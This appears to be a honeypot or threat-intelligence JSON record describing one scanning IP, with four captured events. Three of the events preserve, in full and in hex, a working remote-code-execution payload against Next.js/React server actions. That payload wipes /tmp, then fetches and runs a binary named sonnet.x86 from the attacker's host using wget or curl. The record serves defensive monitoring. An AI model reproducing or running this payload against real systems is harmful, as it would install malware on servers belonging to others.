{"ip":"91.92.40.176","total_events":4,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":null},"first_seen":"2026-06-13T05:01:58","last_seen":"2026-06-16T01:16:16","events_24h":0,"events_7d":0,"geo":{"country_code":"SE","country_name":"Sweden","region":"Stockholm County","city":"Stockholm","lat":59.3287,"lon":18.0717,"asn":215762,"org":"Bullet Group LTD"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":3},{"port":22,"proto":"tcp","label":"SSH","count":1}],"fingerprints":{"ssh_hassh":["084386fa7ae5039bcf6f07298a05a227"],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0800_5055f782ab33"]},"fingerprint_peers":{"po11nn0800_5055f782ab33":2,"084386fa7ae5039bcf6f07298a05a227":529},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-06-13","count":1},{"date":"2026-06-15","count":1},{"date":"2026-06-16","count":2}],"recent_events":[{"timestamp":"2026-06-16T01:16:16","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1467\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\":3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n try {\\n var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp; pkill -9 sonnet; killall -9 sonnet; rm -rf /tmp/* 2\\u003e/dev/null; busybox wget http://91.92.40.176:67/sonnet.x86 -O sonnet.x86 2\\u003e/dev/null || wget http://91.92.40.176:67/sonnet.x86 -O sonnet.x86 2\\u003e/dev/null || curl -o sonnet.x86 http://91.92.40.176:67/sonnet.x86 2\\u003e/dev/null; chmod 777 sonnet.x86; ./sonnet.x86 nextjs\\\").toString();\\n console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n } catch(e) {\\n console.log(e);\\n throw e;\\n }\\n })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a203a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313436370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d703b20706b696c6c202d3920736f6e6e65743b206b696c6c616c6c202d3920736f6e6e65743b20726d202d7266202f746d702f2a20325c75303033652f6465762f6e756c6c3b2062757379626f78207767657420687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e783836202d4f20736f6e6e65742e78383620325c75303033652f6465762f6e756c6c207c7c207767657420687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e783836202d4f20736f6e6e65742e78383620325c75303033652f6465762f6e756c6c207c7c206375726c202d6f20736f6e6e65742e78383620687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e78383620325c75303033652f6465762f6e756c6c3b2063686d6f642037373720736f6e6e65742e7838363b202e2f736f6e6e65742e783836206e6578746a735c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:6ciDX6EojMJHf07Y1miNrB+VgH0=","ja3":"","session":"60fa50e8-e01d-4314-ae26-134d9498794b","seq":1,"duration_ms":101,"bytes_in":1705,"bytes_out":77},{"timestamp":"2026-06-16T00:15:33","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1467\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\":3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n try {\\n var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp; pkill -9 sonnet; killall -9 sonnet; rm -rf /tmp/* 2\\u003e/dev/null; busybox wget http://91.92.40.176:67/sonnet.x86 -O sonnet.x86 2\\u003e/dev/null || wget http://91.92.40.176:67/sonnet.x86 -O sonnet.x86 2\\u003e/dev/null || curl -o sonnet.x86 http://91.92.40.176:67/sonnet.x86 2\\u003e/dev/null; chmod 777 sonnet.x86; ./sonnet.x86 nextjs\\\").toString();\\n console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n } catch(e) {\\n console.log(e);\\n throw e;\\n }\\n })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a203a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313436370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d703b20706b696c6c202d3920736f6e6e65743b206b696c6c616c6c202d3920736f6e6e65743b20726d202d7266202f746d702f2a20325c75303033652f6465762f6e756c6c3b2062757379626f78207767657420687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e783836202d4f20736f6e6e65742e78383620325c75303033652f6465762f6e756c6c207c7c207767657420687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e783836202d4f20736f6e6e65742e78383620325c75303033652f6465762f6e756c6c207c7c206375726c202d6f20736f6e6e65742e78383620687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e78383620325c75303033652f6465762f6e756c6c3b2063686d6f642037373720736f6e6e65742e7838363b202e2f736f6e6e65742e783836206e6578746a735c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:59VSEhXlm+gqth1t497QGZ0q10c=","ja3":"","session":"55d5fc29-ffbc-409a-98bf-92cf14302b2f","seq":1,"duration_ms":100,"bytes_in":1705,"bytes_out":77},{"timestamp":"2026-06-15T22:05:04","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1467\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\":3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n try {\\n var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp; pkill -9 sonnet; killall -9 sonnet; rm -rf /tmp/* 2\\u003e/dev/null; busybox wget http://91.92.40.176:67/sonnet.x86 -O sonnet.x86 2\\u003e/dev/null || wget http://91.92.40.176:67/sonnet.x86 -O sonnet.x86 2\\u003e/dev/null || curl -o sonnet.x86 http://91.92.40.176:67/sonnet.x86 2\\u003e/dev/null; chmod 777 sonnet.x86; ./sonnet.x86 nextjs\\\").toString();\\n console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n } catch(e) {\\n console.log(e);\\n throw e;\\n }\\n })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a203a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313436370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d703b20706b696c6c202d3920736f6e6e65743b206b696c6c616c6c202d3920736f6e6e65743b20726d202d7266202f746d702f2a20325c75303033652f6465762f6e756c6c3b2062757379626f78207767657420687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e783836202d4f20736f6e6e65742e78383620325c75303033652f6465762f6e756c6c207c7c207767657420687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e783836202d4f20736f6e6e65742e78383620325c75303033652f6465762f6e756c6c207c7c206375726c202d6f20736f6e6e65742e78383620687474703a2f2f39312e39322e34302e3137363a36372f736f6e6e65742e78383620325c75303033652f6465762f6e756c6c3b2063686d6f642037373720736f6e6e65742e7838363b202e2f736f6e6e65742e783836206e6578746a735c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:Scjz6gawJwz8rX4CcwX87d8knT0=","ja3":"","session":"22c099a8-2e08-4c81-ab2d-59971b6186af","seq":1,"duration_ms":100,"bytes_in":1706,"bytes_out":77},{"timestamp":"2026-06-13T05:01:58","port":22,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-Go\r\n\u0000\u0000\u0005L\u0013\u0014�Ic��pr3\u0017�_W�\u0004�5\u0000\u0000\u0001\u0019curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1\u0000\u0000\u0002[ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519\u0000\u0000\u0000�aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128\u0000\u0000\u0000�aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128\u0000\u0000\u0000$hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000$hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000p�Y��]�)�\u001c�i_\nN�\u0013\"�","payload_hex":"5353482d322e302d476f0d0a0000054c1314cd4963f0d970723317d15f57f304963500000119637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861310000025b7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d7273612c7373682d6473732c7373682d656432353531392c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d7273612c7373682d6473732c7373682d656432353531390000009b6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d406f70656e7373682e636f6d2c617263666f75723235362c617263666f75723132382c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d406f70656e7373682e636f6d2c617263666f75723235362c617263666f75723132380000009b6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d406f70656e7373682e636f6d2c617263666f75723235362c617263666f75723132382c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d406f70656e7373682e636f6d2c617263666f75723235362c617263666f757231323800000024686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000024686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000709559c6ea5def29e81c8c695f0a4ea31322d3","method":"","user_agent":"","community_id":"1:ipHnPX5SKGjpjaRg2fXbu7xvIxc=","ja3":"","session":"0940440e-23ac-4809-8e52-ec4fb5077188","seq":1,"duration_ms":205,"bytes_in":1372,"bytes_out":12,"enriched":{"digest":"a6b2fd64e8b3cb84","label":"SSH","strings":["SSH-2.0-Go","curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nis…","[ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-c…","aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,ae…","$hmac-sha2-256,hmac-sha1,hmac-sha1-96","none","nonep"],"iocs":{"domains":["libssh.org","openssh.com"]}}}],"http_methods":[{"method":"POST","count":3}],"distinct_ports_total":2,"top_paths":[{"path":"/","count":3,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-Go","count":1}],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"1467","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE","notable":true},{"name":"Host","value":":3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":3},"tags":[],"data_as_of":"2026-06-25T05:05:58.702141+00:00"}